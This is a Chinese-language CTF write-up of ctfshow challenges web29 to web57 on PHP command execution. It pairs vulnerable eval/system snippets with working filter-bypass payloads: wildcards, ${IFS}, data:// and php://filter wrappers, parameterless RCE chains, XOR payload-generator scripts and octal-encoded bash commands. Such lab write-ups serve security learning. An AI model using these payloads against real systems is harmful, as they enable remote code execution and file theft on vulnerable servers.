3.命令执行

1. web29 过滤flag

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

fla* 轻松绕过

2. web30 反引号执行系统命令

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

常见的有如下几个,其中 system 是有回显的,其他的需要我们自行输出。调用 echo 或者其他输出函数即可

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 
?c=echo `tac f*`;

3. web31 空格绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

在linux 空格可以用以下字符串代替:

%09(tab)
$IFS$9
${IFS}
$IFS%09(tab)
<
<>
%20(space)等
Warning

在使用带有$的内容替换时,要注意转义,因为$在php中有特殊含义

?c=echo(`tac%09f*`);

4. web32 文件包含伪协议 与分号绕过

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤分号用 ?> 绕过
利用伪协议进行包含

?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

5. web33 同32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

6. web34 同32

?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

7. web35 同32

?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php

8. web36 同32 替换传入参数即可

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里多过滤了一个0-9

?c=include$_POST[a]?>
a=php://filter/read=convert.base64-encode/resource=flag.php

9. web37 data伪协议绕过flag

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里相比之前多了一个include($c);
那么就是利用伪协议进行命令执行了。 这里过滤了flag 所以不能使用 php://input php://filter 因为这两个都要输入完整的文件名

这里可以使用data伪协议进行命令执行

?c=data://,<?php system('tac fla*');

10. web38 base64编码的data伪协议

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOw==

11. web39 后缀拼接绕过

error_reporting(0);  
if(isset($_GET['c'])){    $c = $_GET['c'];  
    if(!preg_match("/flag/i", $c)){  
        include($c.".php");  
    }  
          
}else{    highlight_file(__FILE__);  
}

这里因为会给你拼接后缀 且还过滤了flag 所以也不能使用 php://input php://filter

?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKT8+

12. web40 超多过滤

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这里基本把所有能用的字符全过滤掉了。但是括号没有过滤掉,这里过滤的是中文括号
这里有多种方式

12.1. 方式1 session_id()

条件PHP版本5.5 -7.1.9 因为 session_id 规定为0-9,a-z,A-Z中的字符。
在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。

利用
设置PHPSESSID=flag.php (因为里面有一个 .)所以只能在5.5 -7.1.9的PHP使用
然后传入payload

c=session_start();highlight_file(session_id()); //highlight_file查看文件
?c=session_start();system(session_id()); //system命令执行
Note

这里如果没有过滤掉0-9可以尝试用base64进行编码, PHPSSESID传入base64
然后命令执行时使用base64_decode(session_id())

12.2. 方式2 读文件+数组改造

此方法对php没有版本限制

这里需要用到下面几个函数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。

思路: 首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了

利用
获取当前路径下的文件

?c=print_r(scandir(pos(localeconv()))); 

Pasted image 20250116221957
这里我们需要获取到数组2的元素的值 flag.php
这里直接利用 array_reverse() 函数对数组进行逆序,
然后使用 next() 函数获取第二个数组的值,
最后使用 highlight_file() 函数高亮显示flag.php内容即可

?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))); 

12.3. 方法3 无参数RCE

参考文章:PHP的无参数RCE - 先知社区
get_defined_vars() 返回由所有已定义变量所组成的数组,会返回 $_GET, $_POST, $_COOKIE, $_FILES 全局变量的值
返回数组顺序为get->post->cookie->files

如果是使用get进行传参则使用

eval(end(current(get_defined_vars())));&cmd=phpinfo();

使用post传参则将 current 改成 next 即可,对于此题来说是利用post参数

?c=eval(end(next(get_defined_vars())));
post: cmd=system('tac flag.php');
分析

get_defined_vars()返回的是一个二重数组
next(get_defined_vars())获取二重数组中的POST数组
current(get_defined_vars())获取二重数组中的GET数组
end()返回对应数组中的值 可以用reset()进行替换

13. web41 异或无符号字母

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

先利用脚本生成出可以用的字符

<?php  
$myfile = fopen("res_xor.txt", "w");  
$contents="";  
for ($i=0; $i < 256; $i++) {  
    for ($j=0; $j <256 ; $j++) {  
  
        if($i<16){  
            $hex_i='0'.dechex($i);  
        }  
        else{  
            $hex_i=dechex($i);  
        }  
        if($j<16){  
            $hex_j='0'.dechex($j);  
        }  
        else{  
            $hex_j=dechex($j);  
        }  
        $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可  
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){  
            echo "";  
        }  
  
        else{  
            $a='%'.$hex_i;  
            $b='%'.$hex_j;  
            $c=(urldecode($a)|urldecode($b));  
            if (ord($c)>=32&ord($c)<=126) {  
                $contents=$contents.$c." ".$a." ".$b."\n";  
            }  
        }  
  
    }  
}  
fwrite($myfile,$contents);  
fclose($myfile);

然后使用下面的脚本生成命令执行payload

import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res_xor.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)
[+] your function:highlight_file
[+] your command:flag.php
("%08%09%07%08%0c%09%07%08%14%00%06%09%0c%05"|"%60%60%60%60%60%60%60%60%60%5f%60%60%60%60")("%06%0c%01%07%00%10%08%10"|"%60%60%60%60%2e%60%60%60");

这里还有另外一个版本的脚本,区别就是不用 | 使用 ^

<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);
import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("res.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

14. web42 分号隔断

使用分号隔断即可绕过

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

查看flag

?c=tac flag.php;

15. web43 过滤分号

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分号过滤 可以使用 || 绕过

?c=tac flag.php ||

16. web44 过滤flag

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

通配符绕过即可

?c=tac f*||

17. web45 过滤空格

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤空格可以使用以下字符串进行肉绕过

%09
${IFS}
?c=tac%09f*||

18. web46 过滤星号

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了 $ 与0-9 但是还是可以用%09绕过,因为会被优先进行Url解码
这里还过滤了星号 使用通配符号即可

?c=tac%09fla?.php||

18.1. 另一种方式 重定向绕过

这里可以使用重定向符号进行输出

?c=tac<fla\g.php||
Warning

使用重定向符号后不可以使用?不然会没有回显

19. web47 同46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

无非就是多过滤了一些查看文件的命令
这里继续使用tac绕过

?c=tac<fla\g.php||

20. web48 同46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=tac<fla\g.php||

21. web49 同46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=tac<fla\g.php||

22. web50 同46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
?c=tac<fla\g.php||

23. web51 过滤tac

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

23.1. linux读文件的多种命令

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag

这里有很多种读文件的方式
随便挑一个就行了

?c=uniq<fla\g.php||

24. web52过滤重定向符

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里过滤了重定向符号,但是可以使用 $
使用 ${IFS} 绕过空格即可

?c=uniq${IFS}../../../../../fla\g||

25. web53 不拼接

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这里与之前的题相比就是没有了拼接 >/dev/null 2>&1
我们就不需要用 || 进行断开了

?c=uniq${IFS}fla?.php

26. web54正则过滤

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这里使用了大量的正则来匹配进行过滤

?c=uniq${IFS}f?ag.php

27. web55 过滤a-z

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

27.1. 方式1 数字编码 bash中用 $'\xxx' 表示字符

?c=$'\143\141\164'%20$'\146'*

\143\141\164 分别是字符 c a t的8进制ascii码表示形式
在bash中 $'\143\141\164' 就是cat

Warning

这里需要使用%20绕过空格过滤的原因并不是不能用这种方式表示空格
而是,$'\xxx\xxx\xxx'里面的\xxx\xxx\xxx会被看成一个完整的字符串。
而命令执行是需要命令参数的,这里就会把这整个字符串看作命令 所以执行失败
如把cat flag 中的参数flag也当成了命令去执行,肯定是不能执行成功的

27.2. 方式2 利用通配符表示bash中的命令进行输出

我们可以使用通配符 ???/????64 来表示 /bin/base64

?c=/???/????64 ????.???
即/bin/base64 flag.php

太抽象了。这东西...

28. web56 无字母数字的命令执行

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

首先发送一个上传文件的POST包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="https://64ef7c2c-710d-4515-84c6-ce49ef1bad55.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

原理解释
具体原理请看p神的文章无字母数字webshell之提高篇 | 离别歌

Note

使用此POST包上传文件后,PHP会将我们上传的文件保存在临时文件夹下
默认的文件名是/tmp/phpXXXXXX
而这个文件名 我们就可以利用通配符 /???/????????[@-[]进行匹配
为什么利用这个通配符请看p神文章

上传后我们就可以利用 . file执行命令了

Pasted image 20250117201625

29. web57 $(()) 构造法

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}